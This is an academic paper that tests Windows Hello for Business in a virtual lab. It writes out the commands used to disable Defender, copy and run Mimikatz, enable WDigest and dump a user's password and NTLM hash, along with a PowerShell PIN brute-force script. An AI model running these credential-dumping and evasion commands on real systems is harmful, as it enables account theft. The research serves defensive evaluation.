Attacking Windows Hello for Business: Is It What We Were Promised?

Abstract

Traditional password authentication methods have raised many issues in the past, including insecure practices, so it comes as no surprise that the evolution of authentication should arrive in the form of password-less solutions. This research aims to explore the problems that password authentication and password policies present and aims to deploy Windows Hello for Business (WHFB) on-premises. This includes creating three virtual machines (VMs) and evaluating WHFB as a password-less solution and showing how an attacker with privileged access may retrieve the end user’s domain password from the computer’s memory using Mimikatz and describing the possible results. The conducted research tests are in the form of two attack methods. This was feasible by the creation of three VMs operating in the following way. The first VM will act as a domain controller (DC) and certificate authority server (CA server). The second VM will act as an Active Directory Federation Service (ADFS). The third VM will act as the end-user device. The test findings research summarized that password-less authentication is far more secure than the traditional authentication method; this is evidenced throughout the author’s tests. Within the first test, it was possible to retrieve the password from an enrolled device for WHFB while it was still in the second phase of the deployment. The second test was a brute-force attack on the PIN of WHFB; since WHFB has measures to prevent such attacks, the attack was unsuccessful. However, even though the retrieval of the password was successful, there are several obstacles to achieving this outcome. It was concluded that many organizations still use password authentication as their primary authentication method for accessing devices and applications. Larger organizations such as Microsoft and Google support the adoption of password-less authentication for end-users, and the current usage of password-less authentication shared by both organizations is encouraged. This usually leads organizations to adopt this new solution for their IT infrastructure. This is because it has been used and tested by millions of people and has proven to be safe. This supports the findings of increased usage and the need for password-less authentication by today’s users.

1. Introduction

Password authentication has been a security concern for a long time because passwords can be stolen or cracked, and password attack methods can be used such as password hash replay attacks. Different methods were developed to improve or replace password authentication such as smart-card-based authentication, multi-factor authentication, location-based authentication, or even passdoodle, an authentication method proposed by Goldberg et al. [1]. Many other factors affect the strength and/or the weakness of password authentication such as the human perspective of password strength, the importance of information security in general, the ease of use of passwords, the difficulty of remembering random or complex passwords, and bad configuration of password policies. All the problems created by using password authentication forced researchers to find a different method of authentication. Many solutions have been created, but so far there has been no globally accepted approach to replace password authentication since it has been embedded in operating systems, applications, and websites. One of these solutions is password-less authentication, which can potentially replace password authentication.

Just like when talking about password authentication, this method can be used in different ways and on different operating systems and applications, password-less authentication is not a solution that can be applied simply everywhere. Specific software development and architecture are both required to enable password-less authentication. Microsoft has been trying to achieve password-less authentication since 2016 through their product Windows Hello, which can be used by home users, and in 2018, Windows Hello for Business (WHFB) [2] was developed to be used by organizations. Before going into the details of how WHFB works, it is important to have some understanding of the history of password and password-less authentication.

Password-less solutions were created to overcome the weaknesses of conventional password authentication methods, and many attempted to further develop and improve password authentication by increasing the complexity of passwords and enforcing password policies on end-users. This practice has consistently prompted insecure practices by end-users and end-users have resorted to workarounds. Our work discusses the issues of password authentication and password policies and argues for the benefits and advantages of utilizing password-less authentication. It explores whether WHFB is a secure solution and if it is too early to start using password-less authentication as an alternative to password authentication. Additionally, it is willing to uncover the vulnerabilities and policies affecting WHFB while investing in whether end-users need to use their passwords once password-less authentication is in use.

To achieve the aforementioned goals, we focus on the Microsoft ecosystem and deploy Windows Hello for Business (WHFB) on-premises, which entails the creation of three virtual machines (VMs). The three VMs operate in the following manner: The first VM will act as a domain controller (DC) to provide the user access to the domain and create the group policy to enable device registration and WHFB. Active Directory Federation Services (ADFS) will be used for registering the devices and providing single sign-on and authentication for WFHB, including MFA. The second VM will be a certificate authority server (CA server) to create the WHFB Enrolment Agent certificate and the WHFB Authentication certificate and to provide the end-user certificates. The third VM will simulate the end-user computer, running Windows 11, and it will be used to test WHFB, and the attack will be performed on this VM. We thus evaluate it as a password-less solution and demonstrate how an attacker with elevated privileges can retrieve the domain password of an end-user from the memory of a device using Mimikatz and discuss the possible outcomes and the affected systems.

The contributions of our work can be summarized as follows:

• The architecture of a testbed, where the power of virtualization enabled the deployment of Windows Hello for Business (WHFB).
• The orchestration of attacks against the user’s password and PIN within WHFB.
• A robust evaluation of the operation of WHFB and a critical reflection of the results of the mounted attacks against it.

The rest of the paper is structured as follows. Section 2 reviews the related literature in the scope of password-less authentication and how this relates to WHFB. Moreover, Section 2 explores how WHFB operates, while Section 3 details the creation of our testbed and the implementation of two attack methodologies used to test the security weaknesses within WHFB. Section 4 evaluates the findings of these attacks, while Section 5 draws the conclusions while giving some pointers for future work.

2. Literature Review

Password authentication is a very broad subject, and multiple studies have been completed that cover different aspects of password authentication. Many of the papers are outdated and cover older attack methods targeting operating systems from that era, while more recent papers discuss newer attack methods and the birth of new authentication protocols that lead to new attack methods. Muthuraj et al. [3] discussed the detection and prevention of password authentication attacks on Active Directory using SIEM (security information and event management). Windows operating systems use different authentication mechanisms such as Kerberos, Public Key certificates, Digest, NT LAN Manager (NTLM), and different attack methods such as kerberoasting, brute force, credential dumping, and credential theft can be used to attack the relevant authentication mechanisms. Liu et al. [4] proposed different solutions to prevent account Denial-of-Service attacks; the attacks target organizations with password policy configured with a threshold to lock accounts after a certain number of failed authentication attempts, and the authors suggested MFA as a countermeasure. While this type of attack does not target password authentication directly because it is relying on the password policy. Password authentication and password policy are usually the main vectors in the attacks. Kim and Choi [5] demonstrated how stealing the Windows Hello PIN can allow an attacker to access Microsoft services; the attacker must secure the PIN and use it on the victim’s device to be able to extract the keys. While it is possible to conduct this type of attack, the need to access the device that the PIN is bound to forms a major obstacle. More on password authentication can be found in Appendix A.

The authors in [6] proposed the use of a method to get Mimikatz to disable Windows Defender in Windows, this can be done by using Mimidrv, a signed driver. While they successfully accomplished this, they discovered some limitations related to the version of the operating system they were using, and when the antivirus was disabled, the end-user was able to see a notification stating that the antivirus had been disabled. Following this, Windows 11 was released, and Microsoft improved drastically the endpoint protection.

While the literature explores factors related to the subjects discussed in this paper and password-less authentication is more widely a subject that is being researched, there is currently very little academic research or papers discussing WHFB as the main password-less authentication solution and the evaluation of the WHFB at the different phases of its deployment. Password-less authentication is potentially a good solution to replace password authentication, and without complete elimination of the password authentication, using old attack methods will always be possible.

2.1. Password-Less Authentication

To overcome the complexity that passwords introduce to information security, the Fast IDentity Online (FIDO) Alliance created the FIDO2 standard (see Figure 1) to overcome the issues of traditional authentication. Lyastani et al. [7] argue that the FIDO2 standard could potentially be the replacement for old-fashioned user authentication. The FIDO2 standard is a replacement for the FIDO standard, which resolved most of the vulnerabilities and issues discussed in [8], such as the vulnerabilities at the registration phase by falsification of the public key and the authentication phase by hijacking the session. The FIDO2 standard can help users implement simple methods that most users are familiar with nowadays such as PIN code, face recognition, and fingerprint reader, which are available on most mobile phones. FIDO2 has two specifications: The first is the Client to Authenticator Protocol (CTAP), which requires hardware such as a Universal Serial Bus (USB), near-field communication (NFC), and/or Bluetooth Low Energy (BLE) to establish communication between FIDO2 authenticators and the platforms or browsers. The second is Web Authentication (WebAuthn), which allows web applications to use public key-based credentials [9].

Casey et al. [11] argue that 2FA is successful in improving security, but only when it is deployed properly, and they gave an example of a weak scenario where 2FA is being used by requiring the end-user to enter a password and then memorable data, which can both be vulnerable to a phishing attack. They also suggested that combining the use of the two factors of 2FA from a single device can lead to weaknesses; for example, authenticating from the same device that receives the second factor by email or text message. They recommended the use of 2FA or MFA by requesting the end-user use something they know (i.e., password), something they have (i.e., a mobile phone or security key), and/or something they are (i.e., biometrics). Mardini and Kim [12] from Google published a blog to recommend the use of 2FA, which they call two-step verification (2SV), and Google is pushing people to enroll in 2SV and aiming to have 150 million additional Google users enrolled by the end of 2021. They also recommended the use of the “something you know” and “something you have” formats.

A Trusted Platform Module (TPM) chip is a processor of cryptographic operations that provides hardware-based security functions. The TPM can store and generate cryptographic keys by using the unique RSA key embedded in the TPM chip, and it cannot be changed. Since the TPM-based keys can be configured to never leave the TPM chip, this mitigates phishing attacks. The CTAP protocol may be used for communication between the TPM as an internal authenticator device and WebAuthn [7]. Bassett et al. [13] revealed in the Verizon data breach investigations report that a considerable number of organizations that did not use MFA and virtual private networks (VPN) were victims and that the zero-trust access concept suddenly became necessary rather than a desirable security feature. FIDO became fundamental to zero-trust designs. Even though authenticating using a PIN is not a very recent concept and it has been used on smartphones for several years now, the adaptation of using password-less authentication is taking a longer period to catch up with other services that have adapted different authentication methods such as Chip and PIN, which was introduced for credit and debit cards and has been around in the United Kingdom since 2003.

Casey et al. [11] discussed the reasons behind the slow adoption of password-less authentication by users and organizations. Implementation complexity is one of the major reasons. This may be due to the different systems in use, the use of third-party applications that do not support new authentication methods, and the lack of end-user understanding, and other usability issues. Alqubaisi et al. [10] argue that some of the delays in the adoption of password-less authentication were because some web browsers did not integrate some protocols, and this required end-users to install a compatible FIDO client. End-users play a massive role in the adoption of any new technology, for example, 2FA and MFA are widely adopted by users of Google and Microsoft products such as Gmail and Hotmail for personal use. Both Google and Microsoft pushed for MFA authentication, and more people are aware of this concept, but when organizations ask their employees to use MFA by installing an application on their personal mobile phones, end-users might resist because they will be using their personal device and their personal phone number, and they will have questions regarding whether the organization will be able to see what they are doing. Providing mobile phones or security keys can be expensive, and this is another reason why some organizations chose to delay the adoption of password-less authentication.

Alqubaisi et al. [10] demonstrated that password-less single-factor (SF) authentication is more secure than SF password-based authentication while also discussing the security issues with password-less SF authentication. They also argue that organizations should implement single-factor FIDO authentication because it is the right choice, assuming password-based authentication is compatible with another method of authentication. Single-factor authentication should not be used in any case unless it is a legacy system that does not support any of the newer authentication methods. Even when using single-factor password-based authentication, 2FA should be considered an improvement to the security. Lyastani et al. [7] concluded that the FIDO2 standard can be the successor to password-based authentication for users on the web while taking into consideration the concerns from end-users regarding the loss of security keys (physical keys) and its implications.

Password-less authentication is still being developed and evolved because new technologies and techniques are being used to improve it, and more organizations are starting to adopt it. Although WHFB can coexist with password authentication, there are numerous challenges if an organization that is still using a password expiration policy wishes to start using WHFB. Our work wishes to investigate the issue and demonstrate those challenges by mounting two different attacks.

2.2. How Windows Hello Works

Windows 10 home users can use Windows Hello as a convenient alternative to passwords. For businesses, WHFB can be configured to be used in an Azure Cloud, hybrid, or on-premises configuration. Authentication of user accounts can be achieved using active directory on-premises, or Azure Active Directory (cloud solution). This paper will mainly focus on the on-premises use of the certificate trust deployment.

WHFB offers several advantages. The first is the extra security that Windows Hello offers through the default use of the built-in device-based multifactor authentication. WHFB is dependent upon a user’s device, such as a laptop or desktop computer, and in combination with a remote authenticator, which may be a mobile phone, a PIN, or something unique such as biometrics.

Password authentication uses symmetric encryption and relies on the end-user to remember the password and a copy of that password is stored on a server, which is then used to validate the password before granting access. When the password is stored, it can be stored as clear text, hashed, salted, or encrypted. It does not matter what method is used to store the passwords; in the event of a breach, the passwords can be stolen and misused.

WHFB uses asymmetric encryption, which is very similar to how certificates work. The public key is stored on the server (Active Directory, or Azure Active Directory), and the private key is stored in the TPM chip on the end-user device, where it never leaves the chip. During the sign-in, the end-user biometrics or the PIN are used to unlock the private key so the sign-in operation can be performed. If the private key was unlocked successfully, the device obtains an authentication token from Active Directory or Azure Active Directory without sharing any secrets with the server. Single sign-on is used by WHFB; once an end-user is authenticated, access to applications and services is automatically granted. Figure 2 shows how a new user or existing user authenticates to the identity provider, e.g., if an enrolled user uses WHFB, the first step will be to prove their identity through biometrics or a PIN; in the second step, the user gets validated and authenticated; in the third step, the identity provider provides an authentication token to the device of the end-user; in the fourth step, the trusted token allows the end-user to access the resources of the organization. In the situation whereby an attacker manages to steal the PIN, unlike the password, the PIN cannot be used on another device to gain access to the organization’s resources.

WHFB can use either keys or certificates in hardware or software. For enterprises with a public key infrastructure (PKI) in use to issue and manage end-user certificates, WHFB allows the continuation of the use of PKI. Key-based credentials for WHFB may also be used as an alternative should an enterprise wish not to use PKI. Device registration, provisioning, and authentication are three components of the WHFB distributed system.

Device registration is a prerequisite of WHFB, it is required to start the provisioning stage. The identity provider registers the device’s identity. Depending on the identity provider chosen, Active Directory Federation Services (ADFS) is the identity provider for on-premises deployments, while Azure Active Directory is the identity provider for cloud or hybrid deployments, and the devices are registered with the Azure Device Registration Service (ADRS). Depending on the method used for device registration, the role of the TPM chip is identical in all of them. The device registration is automatic and runs at the system user level. After the user signs into the device, the computer is authenticated to the ADFS server using Windows integration authentication. ADFS creates an enterprise authentication token that consists of the object GUID, computer SID, and domain-joined claim. When you are authenticated again using the enterprise authentication token, an ID token is received from the server. A TPM-bound device key pair known as (dkpub/dkpriv) is generated and using the dkpub of the device and the public key of the server, a certificate request is created, and it is signed using the dkpriv. A transport key pair (tkpub/tkpriv) is derived from the TPM’s storage root key. The ID token, certificate request, tkpub, and attestation data are sent to the server, the server validates the ID token and creates a device ID and certificate, and the certificate is sent back to the device, and it is installed in the computer’s personal store.

After successful device registration, provisioning will be available. A token request is sent to ADFS, and the server authenticates the user and identifies if the user is required to perform another factor of authentication. The first factor is usually considered the username and password of the end-user; it can also be the device itself, using device authentication or certificate authentication, the second factor can be Azure MFA or certificate authentication or any third-party MFA service. Once MFA is successful, an Enterprise Device Registration Service (EDRS) token is received from ADFS, and the end-user can then enroll biometrics or a PIN. The user key pair (ukpub/ukpriv) is requested from the key pre-generation pool, the key includes attestation data. ADFS then checks the MFA claim after receiving the EDRS access token, ukpub, and device information; if the claim is successful, the ukpub and device information are stored in the device under the Active Directory and then the device creates a certificate request. The certificate request is sent with the public key to the certificate registration authority on ADFS. ADFS validates the public key with the one stored on the device in the Active Directory. After successful validation of the public key, the certificate then is signed using the enrolment agent certificate. The Certificate Authority (CA) server receives the signed certificate and validates that it was signed by the correct enrolment agent certificate. A certificate is then issued and sent back to the AFDS, which sends it back to the device, and the certificate gets installed in the personal store of the user.

On-premises Active Directory is the primary identity provider for devices. The devices need to authenticate with a domain controller to log in and access on-premises resources. The logon flow will look very similar to traditional smart card authentication with a domain controller and will use the Kerberos protocol. WHFB will package its authentication request to the domain controller the same way Windows would package a smart card authentication request. The WHFB gesture (biometric or PIN) is sent to the credential provider, which verifies it with the Windows Hello Service. A ticket is sent back from the service, and it is passed to the local security authority (LSA) and then passed to the Kerberos provider.

The Kerberos provider will use one of the domain controllers, which will serve as the key distribution center (KDC) role in the Kerberos protocol. The Kerberos pre-authentication data is signed using the received ticket with the user’s WHFB private key. The provider then sends the signed pre-authentication data to the domain controller along with the certificate for the user’s WHFB public key and a message known as an AS_REQ. The enterprise’s public key infrastructure (PKI) provides a user certificate in the AS_REQ. The certificate is validated by the domain controller using the certificate chains from a trusted root certificate authority. It will retrieve the public key and user principal name (UPN) from the certificate, and it can then validate the signature over the pre-authentication data using the public key and verify that the UPN in the certificate is also in Active Directory. Once the domain controller confirms the validity of the AS_REQ, it will generate a ticket-granting ticket, or TGT, which can be used for future authentication requests to the KDC. The TGT is sent back to the client in another Kerberos message called an AS_REP. To validate the message received, the Kerberos provider uses the KDC certificate included in the AS_REP. The Kerberos provider will verify the KDC certificate chains to a trusted root and that they are for the correct domain that the user is trying to authenticate to. The TGT is then sent to the LSA, and the TGT gets cached for future authentication requests from the client. Authentication to on-premises resources will no longer require user gestures since the TGT can be used instead to provide SSO access to any on-premises resources. The Winlogon service on the end-user device will be notified of the successful authentication by the LSA; access is then granted to the device, and the user’s profile will be loaded.

3. Implementation and Attacks

In this section, we present two attack methods that are conducted against WHFB. The first attack is the retrieval of the password, and the second is a PIN brute force attack.

3.1. Setup Information

WHFB can be deployed in different environments (Azure Cloud, hybrid, or on-premises configuration) and using one of the two methods: key or certificate-based. Our work uses an on-premises environment and the certificate-based method. This was chosen because, in an on-premises environment, system administrators have full control of the setup from start to finish, which includes the certificates. When using the cloud environment, some parts of the setup are already predefined by Microsoft in Azure, and system administrators have no access to the keys or certificates. Having full access to each part of the setup helps in understanding how WHFB really works.

The setup consists of three virtual machines running on a VMware Workstation 16 Pro hypervisor. The hardware that runs the hypervisor consists of a 9th-generation Intel Core processor (i7-9700F) and 32 GB of DDR4 RAM (random access memory) running Microsoft Windows 11 on an SSD drive. The device has a TPM chip and another two SSD drives, and each of the drives holds the virtual disk of each virtual machine (VM).

Table 1. Virtual machines settings.

VM Name	DC1-CA	FEDSVR	WIN11
Virtual Processors	4	4	4
Memory	8GB	8GB	2GB
Hard drive	SSD2	SSD3	SSD1
VM Hard drive size	60 GB	60 GB	60 GB
Virtual TPM enabled	No	No	Yes
Operating System (OS)	Windows Server	Windows Server	Windows
OS version	2019 Standard	2019 Standard	11

shows the settings of each VM. The attacks can be performed on lower specifications since the results of this type of attack are not influenced by the hardware used.

The first virtual machine is a Windows server 2019, with the domain controller (DC) and Certification Authority (CA) roles installed. The DC role acts as the identity provider for users and devices to authenticate and access resources, and the CA will issue, validate, and revoke any user or device certificate requests. An example of issued certificates can be seen in Figure 3, and the enrollment agent certificate can be seen that has been requested by the service account used by ADFS. The WHFB authentication certificate is issued to the user after successful enrolment. The WHFB Enrollment Agent certificate is used by ADFS during the provisioning to validate the public key with the one stored on the device in the Active Directory.

The role of the second server is an ADFS server. It acts as the identity provider for WHFB. WHFB is configured on this server using ADFS for device registration (Figure 4), provisioning, and authentication (Figure 5). Figure 5 also shows the certificate authentication which is used as an additional authentication factor. Without this certificate, the enrolment will not be successful.

ADFS requires the CA server to validate certificates, and it will use a signed certificate from the CA server for communication and a self-signed certificate for token signing, and another one for token decryption (see Figure 6). Token signing and decryption are part of the device registration and provisioning process.

Group policy is used to enable device registration and get the correct certificate before the provisioning of WHFB (see Figure 7). The group policy is created on the first VM that holds the DC role and is applied to a group of users; otherwise, the policy will be applied to all the devices.

The third VM is the end-user device. Figure 8 shows the certificates under the end-user profile. The WHFB Authentication certificate template is configured to only issue certificates to certificate requests that have been signed with an enrolment agent certificate.

If the certificate was missing because of any technical problems, the provisioning will fail, as demonstrated in Figure 9.

Device registration can be verified through the Active Directory by the device ID (see Figure 10) or by running the command “dsregcmd /status” (see Figure 11), which displays the same device ID as the one in the active directory of the domain controller and that the device is protected by the TPM.

3.2. The First Attack Method

When an organization is willing to adopt WHFB, challenges will arise due to existing applications’ compatibility with WHFB as well as the number of legacy systems in place. An attacker with administrative access to the domain will be able to retrieve the password of an end-user. It is not as straightforward as it sounds; there are lots of obstacles that may stop this attack from happening, as explained later.

Mimikatz is used to perform those attacks. Mimikatz is open-source software that can be used to allow the user to view authentication credentials. To be able to execute any scripts remotely, the Windows Remote Management (WinRM) service will be used. Normally, WinRM is not enabled by default; the domain administrator will need to enable the service to be able to copy Mimikatz to the victim’s device and execute it. Microsoft Windows devices come with a built-in firewall, and the predefined inbound rule: Windows Remote Management (HTTP-In) needs to be enabled to allow remote access. WinRM and the firewall rule can be enabled using a group policy and applied only to the victim’s device.

Considering the SIEM does not exist and WinRM is enabled, as a first step, the attacker needs to stop the PIN or biometrics from working, this can be simply done by moving the end-user certificate from the personal certificate store. With the absence of the certificate, WHFB can no longer validate the authentication, and the end-user will have to revert to using the password. Once the password is used and the device at the time is not connected to the domain controller, the password will be stored in the memory of the device and using Mimikatz, the password can be retrieved. Figure 12 shows a successful connection to the end-user device using PowerShell, and then Windows Endpoint Protection is disabled so it does not detect and delete Mimikatz automatically. The end-user must be connected to the local network so the remote session can be established.

The following commands may be used to establish the connection and disable Windows Endpoint Protection.

• #Open PowerShell Session to the end-user device
• New-PSSession -ComputerName <Computer_name>
• Enter-PSSession <Session_ID>
• #Disable Real-time protection,from the previously opened session
• PowerShell Set-MpPreference -DisableRealtimeMonitoring 1

Since the first PowerShell window is already connected to the device, another PowerShell window needs to be used so the attacker can copy Mimikatz (see Figure 13). This may be performed using the following command:

• robocopy C:\Users\administrator\Downloads “\\win11\c$\temp\” mimikatz_trunk.zip

Figure 13. Copy Mimikatz to the end-user device.

Figure 13. Copy Mimikatz to the end-user device.

The copied file is compressed, and it is required to extract the content of the file. From the first PowerShell window, the following command may be executed:

• Expand-Archive -LiteralPath C:\temp\mimikatz_trunk.zip -DestinationPath C:\temp\

Mimikatz requires to be executed locally on the victim’s device and needs to run as an administrator otherwise Mimikatz will fail to access the Local Security Authority Server Service (LSASS), which is required to retrieve the password. After navigating to the extracted folder C:\temp\x64\ where the executable file resides, the following command is used to confirm that Mimikatz may run with the correct permissions:

• cmd /c.\mimikatz.exe “privilege::debug” “exit”

Figure 14 shows a successful execution of Mimikatz with the correct privilege.

Microsoft disabled WDigest (Digest Authentication is a vulnerable weak challenge/response protocol) by default since the vulnerability of WDigest was disclosed. Mimikatz requires WDigest to be enabled to retrieve the password. To enable WDigest, the following registry needs to be added, and to apply the changes, the local group policy needs to be updated:

• reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
• gpupdate /force

Using WDigest makes it faster to reveal the password; other methods to retrieve the password are possible, such as using brute force to crack the NTLM hash that may be retrieved by Mimikatz. Another application will be required to be able to crack the hash.

To complete the retrieval of the password, the following command is executed:

• cmd /c.\mimikatz.exe “privilege::debug” “sekurlsa::wdigest” “exit”

And the password can be seen in Figure 15.

To reveal the NTLM hash shown in Figure 16, the following command is required to be executed:

• cmd /c.\mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords” “exit”

And the NTLM hash is shown in Figure 16.

Figure 16. NTLM hash.

Figure 16. NTLM hash.

3.3. The Second Attack Method

While the password is easily retrieved using Mimikatz, currently retrieving the PIN is not an available feature of Mimikatz. Using the same method from the first attack to connect to the device and copy Mimikatz, the second attack may be started. Figure 17 below shows that it is possible to retrieve the globally unique identifier (GUID) from the Ngc folder, where all the settings related to WHFB are stored. On this device, there is a single user, so the GUID is easy to match to the user. The user SSIDs may be found in the registry under HKEY_USERS. In cases where there are multiple users, to match the user to the GUID, the user SSIDs start with S-1-5-21; drilling down in each SSID to reach AADNGC will provide the GUID (Software\Microsoft\WindowsNT\CurrentVersion\WorkplaceJoin\AADNGC) for example:

• HKEY_USERS\S-1-5-21-1600135255-2060112660-1485531884-1106\Software\Microsoft\Windows NT\CurrentVersion\WorkplaceJoin\AADNGC\.

In the case of one user per device, Mimikatz can be used to find the GUID as shown in Figure 17 using the following command:

• cmd /c.\mimikatz.exe “privilege::backup” “ngc::logondata” “exit”

Figure 17. GUID retrieval.

Figure 17. GUID retrieval.

Combining the GUID with the PIN as shown in Figure 18, some more details can be retrieved using the following command:

• cmd /c.\mimikatz.exe “privilege::backup” “ngc::pin /withbackup /guid:{80839852-3d34-411c-a39e-00351d9ec527} /pin:824693” “exit”

While currently this information may not be used for anything valuable, this does not mean that in the future a vulnerability may be discovered and then the retrieved information may become valuable. If the wrong PIN was used in the command, Mimikatz displays an error.

Figure 18. Verifying the PIN.

Figure 18. Verifying the PIN.

In theory, the PIN can be brute forced using the following PowerShell script:

• $GUID = cmd /c.\mimikatz.exe “privilege::debug” “ngc::logondata” “exit” | Select-String -Pattern ‘GUID’
• $GUID = $GUID -replace ‘\s’,’’
•  
• $count = 0
• 1..999999 |% {
• $count = (1+ $count).ToString(‘000000’)
• $UnkPin = cmd /c.\mimikatz.exe “privilege::backup” “ngc::pin /withbackup /$GUID /pin:$count” “exit”
• if( $UnkPin | Select-String -pattern ‘UnkPin’)
• {
• Write-Output “PIN is: $count”
• Exit
• }
• else {
• Write-Output “PIN not found.”
• }
• }

The script will attempt to use the PIN between 000000 and 999999, and when the correct PIN is located, it stops. While the script functions properly, Windows does not provide a method to change the failed attempts number, and this results in the PIN being disabled, as shown in Figure 19.

After moving to the third phase of the deployment of Windows Hello, Mimikatz will lose the ability to retrieve the password, as seen in Figure 20. This is due to the password no longer being available to the end-user; this will be the third phase of the deployment of WHFB.

The use of a smart card for interactive logon, as seen in Figure 21, is enforced on the user from the active directory, and a group policy will be applied to the computers to exclude password authentication from the credential providers and prevent end-users from signing in with a password on the Windows login screen. This will be the fourth phase of the deployment of WHFB.

4. Evaluation and Discussion of Results

The evaluation of WHFB began by deploying the password-less authentication solution using the on-premises certificate trust method. Microsoft enforced the use of Windows Server 2016 or the newer version as a Schema Role for Active Directory. All the certificates used by WHFB have a minimum key size of 2048 bits and use SHA256 as a hash; this includes the ADFS server authentication certificate, the WHFB Enrolment Agent, and WHFB authentication certificates. The domain controller authentication certificate was replaced with an improved certificate that uses Kerberos.

As discussed previously, device registration is a prerequisite of WHFB, and it plays an integral role because it limits the devices which can enroll to use WHFB and allows organizations to pick and choose which devices can enroll. The device may then be used for device authentication, which is considered one of the possible first factors of multi-factor authentication. The importance of limiting which device can be registered to use WHFB is to only permit devices equipped with a TPM chip, something that Microsoft considers to be the best practice, as discussed in [14]. The TPM chip does not only assist with the encryption of the device but also helps in keeping the PIN bound to one device, and it will support turning the WHFB authentication certificate created under the user profile after the enrolment, to become one of the multi-factor authentication factors. The certificate is validated using the private key in the TPM chip. Without the TPM chip, as demonstrated by Kim and Choi [5], WHFB may be vulnerable to migration attacks. The attacker needs to know the PIN to be able to successfully use the migration attack, and this highlights the greatest weakness of the PIN because it may easily be obtained using a shoulder surfing attack. WHFB allows the customization of the PIN complexity to ensure it is more secure, and multiple other options are also available to customize the configuration of WHFB, for example, the use of a hardware security device, PIN recovery, or the use of biometrics. The use of hardware security devices or biometrics may mitigate again the migration attack and eliminate the risks of shoulder-surfing attacks.

Some other important features of WHFB exist, for example, the dynamic lock, which locks the device when a paired Bluetooth device falls below the maximum Received Signal Strength Indicator value. This helps if a user walks away from their device, and Windows will automatically detect that the user is no longer within the perimeter of the device and lock the device automatically. Another example is the multi-factor unlock feature, which forces the user to authenticate using the first factor (PIN, fingerprint, or facial recognition) and the second factor (trusted signal, PIN). This is also another method to mitigate again shoulder surfing attacks because the attacker will not be able to successfully log in to the device because one of the factors is not available.

Password policies have a major impact on WHFB at the first and second phases of the deployment; if the password is changed, the end-user will be required to use the password first to be able to use WHFB again for authentication. In the third phase, the password policy will no longer affect WHFB since password-less authentication will be the primary authentication method and the password will be set to never expire in the password policy. Eliminating the password was successfully achieved in the lab environment.

Even though it is possible to retrieve the password when the deployment is still in the second phase, WHFB can still be considered a secure password-less authentication method since the PIN cannot be retrieved, and when the password is eliminated from the logon screen, retrieving the password will not be possible anymore. WHFB mitigates most password authentication attacks such as phishing attacks, man-in-the-middle attacks, brute force attacks, dictionary attacks, credential stuffing, and keyloggers.

One of the major possible issues an organization may face with deploying WHFB is the lack of support for Mac or Linux operating systems and the limited support of legacy systems or applications. However, this should not hinder an organization from using WHFB, especially since it can be enabled for a certain group of employees, and this reduces the attack surface.

Even though it was possible to retrieve the password of the end-user using the domain administrator. In a real-life scenario, it will be much harder to achieve this because, in many organizations, even domain administrators do not have privileged access to the endpoint protection software to be able to disable it. Mimikatz will be detected instantly and gets deleted by the endpoint protection. Microsoft has its own built-in endpoint protection that can detect Mimikatz, and during the test, Windows managed to detect Mimikatz and delete it.

Many endpoint protection solutions come with a firewall embedded, which makes it even harder to initiate the connection with the end user’s device. In Windows, the firewall by default blocks any PowerShell connections to the device, and WinRM needs to be configured and allowed through the firewall for the connection to be successful. Depending on the preference of the IT administrators, WinRM may be enabled or disabled within an organization and when it is disabled, this makes it more difficult to complete the attack.

The other factor to consider is the high possibility of the presence of a SIEM in the organization. The authors in [15] found in their report that, in recent years, larger organizations that are usually conservative adopters of technology are now deploying SIEM solutions. The number of organizations using SIEM solutions is on the rise. The SIEM’s purpose is to log and monitor activities on the network and systems. Activities performed by a domain administrator are very important to retain in a SIEM, and any person performing suspicious activities will leave a trace of these actions, especially if the administrator, for example, has disabled the endpoint protection or enabled WimRM, or altered the firewall rules.

With the presence of multiple different deployment methods for WHFB, time restraints did not allow for performing tests on each deployment method. The deployment of WHFB is not a simple task, and to achieve valuable testing and results, the setup requires completion to a high standard and should be a representation of a real-life scenario so the outcome of the testing may be realistic. The deployment methods are very different from each other, and it was not possible to salvage parts of one method to be used in another method.

WHFB does not allow the amendment of some features such as disabling authentication after several failed attempts. The proof-of-concept of a brute force attack on the PIN was possible to demonstrate, but because it was not possible to change or disable the failed attempts counter, it was not possible to achieve a full brute force attack to find the PIN of the end-user. Once WHFB is in the fourth phase and the password is completely removed from the device, it is not possible for an administrator to log in to the device if that administrator does not already have a PIN configured on the device. Trying to run any application as a different user will remove the possibility of signing in using different credentials. The enrolment of a new user and a new device is required to happen first, and then the device may be moved to the correct organizational unit within the Active Directory, so the password is removed from the log-in screen of Windows.

5. Conclusions

Our work’s goal was to evaluate the password-less solution of Windows Hello for Business (WHFB) by deploying it on the premises. As the scope of our work was the Microsoft ecosystem, WHFB was considered an appropriate password-less solution. Despite the fact that the use of TPM chips provides a considerable uplift to security, some end-users might refuse to use biometrics; therefore, a PIN can be used instead. This enabled the demonstration of how an attacker with elevated privileges can retrieve the domain password of an end-user from the memory of a device using Mimikatz. We also explored a brute force attack against the user’s PIN, and we thoroughly discussed the impact of the aforementioned attacks.

As WHFB still has its limitations when it comes to integration with other operating systems or legacy solutions, a partially deployed WHFB solution is not as secure as the full deployment, where the password is completely eliminated. However, partial deployment may help organizations start using password-less authentication, which will be beneficial for the upscaling of their security measures.

The scope of this work was to evaluate WHFB and retrieve the password of the end-user. Exploring the other features of WHFB, the results look promising, especially when the PIN is eliminated or used in combination with another factor such as the hardware security device or the biometrics of the end-user.

As WHFB relies on many components, several of them should be further investigated to identify any possible weaknesses within the enrolment stage of WHFB, for example, to trigger re-enrolment of WHFB and use a man-in-the-middle attack to collect valuable information. This effort can be supported by leveraging the power of AI, which will enable the automated mounting of attacks in different setups and under variable constraints. Additionally, as our work attempted an initial exploration of a single attack method on PINs, this can be systematically explored by using other methodologies suggested by the literature. Although the PIN does not seem very useful, due to the reusability of PIN codes by people with low cybersecurity awareness, the reutilization of PIN codes would be interesting in the scope of a social engineering attack. Last, we plan to expand our research in the Apple ecosystem and compare the results with our existing work.